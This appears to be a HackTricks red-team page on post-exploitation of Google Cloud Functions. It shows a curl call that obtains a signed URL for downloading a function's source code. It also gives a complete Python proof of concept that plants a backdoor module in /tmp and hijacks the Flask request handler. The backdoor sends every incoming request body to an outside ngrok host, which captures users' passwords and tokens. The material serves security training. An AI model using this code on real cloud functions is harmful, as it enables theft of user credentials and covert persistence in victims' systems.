# GCP - Cloud Functions Post Exploitation {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Cloud Functions Find some information about Cloud Functions in: {% content-ref url="../gcp-services/gcp-cloud-functions-enum.md" %} [gcp-cloud-functions-enum.md](../gcp-services/gcp-cloud-functions-enum.md) {% endcontent-ref %} ### `cloudfunctions.functions.sourceCodeGet` With this permission you can get a **signed URL to be able to download the source code** of the Cloud Function: {% code overflow="wrap" %} ```bash curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \ -H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' ``` {% endcode %} ### Steal Cloud Function Requests If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could **modify the source code of the function and exfiltrate** this information. Moreover, Cloud Functions running in python use **flask** to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to **override the function handler** that is going to receive the HTTP requests for a **malicious function** that can **exfiltrate the request** before passing it to the legit handler. For example this code implements the attack: ```python import functions_framework # Some python handler code @functions_framework.http def hello_http(request, last=False, error=""): """HTTP Cloud Function. Args: request (flask.Request): The request object. Returns: The response text, or any set of values that can be turned into a Response object using `make_response` . """ if not last: return injection() else: if error: return error else: return "Hello World!" # Attacker code to inject # Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py new_function = """ def exfiltrate(request): try: from urllib import request as urllib_request req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST") urllib_request.urlopen(req, timeout=0.1) except Exception as e: if not "read operation timed out" in str(e): return str(e) return "" def new_http_view_func_wrapper(function, request): def view_func(path): try: error = exfiltrate(request) return function(request._get_current_object(), last=True, error=error) except Exception as e: return str(e) return view_func """ def injection(): global new_function try: from flask import current_app as app import flask import os import importlib import sys if os.access('/tmp', os.W_OK): new_function_path = "/tmp/function.py" with open(new_function_path, "w") as f: f.write(new_function) os.chmod(new_function_path, 0o777) if not os.path.exists('/tmp/function.py'): return "/tmp/function.py doesn't exists" # Get relevant function names handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default) realpath = os.path.realpath(source_path) # Get full path # Get the modules representations spec_handler = importlib.util.spec_from_file_location("main_handler", realpath) module_handler = importlib.util.module_from_spec(spec_handler) spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py') module_backdoor = importlib.util.module_from_spec(spec_backdoor) # Load the modules inside the app context with app.app_context(): spec_handler.loader.exec_module(module_handler) spec_backdoor.loader.exec_module(module_backdoor) # make the cloud funtion use as handler the new function prev_handler = getattr(module_handler, handler_fname) new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper') app.view_functions["run"] = new_func_wrap(prev_handler, flask.request) return "Injection completed!" except Exception as e: return str(e) ```